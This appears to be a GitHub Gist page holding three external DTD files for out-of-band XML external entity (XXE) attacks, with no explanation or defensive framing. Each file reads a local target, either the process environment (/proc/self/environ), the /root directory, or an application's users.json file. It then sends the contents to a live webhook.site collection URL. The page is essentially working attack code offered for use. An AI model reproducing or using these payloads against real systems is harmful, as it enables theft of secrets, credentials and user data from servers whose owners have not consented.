Skip to content

Instantly share code, notes, and snippets.

@Diniboy1123

Diniboy1123/evil_environ.dtd

Created May 15, 2026 21:54
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Diniboy1123/b0d6c5a2f3015f7cf1919657b6ba61d8 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Diniboy1123/b0d6c5a2f3015f7cf1919657b6ba61d8 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
evil_environ.dtd
<!ENTITY % file SYSTEM "file:///proc/self/environ">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://webhook.site/052df2a3-3f60-43a7-b847-caa2512e56b9/?d=%file;'>">
%exfil;
%send;
Raw
evil_root.dtd
<!ENTITY % file SYSTEM "file:///root/">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://webhook.site/052df2a3-3f60-43a7-b847-caa2512e56b9/?d=%file;'>">
%exfil;
%send;
Raw
evil_users.dtd
<!ENTITY % file SYSTEM "file:///opt/external-app/users.json">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://webhook.site/052df2a3-3f60-43a7-b847-caa2512e56b9/?d=%file;'>">
%exfil;
%send;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment